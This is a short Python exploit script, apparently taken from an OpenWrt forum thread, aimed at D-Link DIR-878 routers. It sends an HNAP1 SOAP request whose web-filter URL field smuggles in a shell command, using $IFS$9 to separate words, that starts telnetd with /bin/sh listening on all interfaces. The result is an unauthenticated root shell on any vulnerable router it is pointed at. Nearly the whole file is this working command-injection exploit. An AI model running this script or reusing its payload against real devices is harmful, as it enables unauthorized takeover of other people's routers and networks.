#
#	from: https://forum.openwrt.org/t/d-link-recovery-mode-dir-882-dir-878-dir-867/78758
#

import requests
import sys
import os

telnet_payload = r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
burp0_cookies = {"uid": "CataLpa"}
burp0_headers = {"Accept": "text/xml", \
                 "SOAPACTION": "\"http://purenetworks.com/HNAP1/SetWebFilterSettings\"", \
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", \
                 "Content-Type": "text/xml", \
                 "Accept-Encoding": "gzip, deflate", \
                 "Accept-Language": "zh-CN,zh;q=0.9", \
                 "Connection": "close"}

burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Body>\n<SetWebFilterSettings>\n\t<WebFilterMethod>DENY</WebFilterMethod>\n\t<NumberOfEntry>1</NumberOfEntry>\n\t<WebFilterURLs>\n\t\t<string>" + telnet_payload + "</string>\n\t</WebFilterURLs>\n</SetWebFilterSettings>\n</soap:Body>\n</soap:Envelope>"

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[*] Usage: python DIR-878.py <ip>")
        exit(0)
    IP = sys.argv[1]
    print("[*] Send payload to " + IP)
    burp0_url = "http://" + IP + ":80/HNAP1/?Login.html"
    try:
        res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if "200" in str(res.status_code):
            print("[*] Exploit success!")
            print("[!] telnet " + IP)
            exit(0)
        print("[*] Exploit failed. Bug fixed :(")
        exit(0)
    except Exception as e:
        print("[-] Exploit failed.")
        print(e)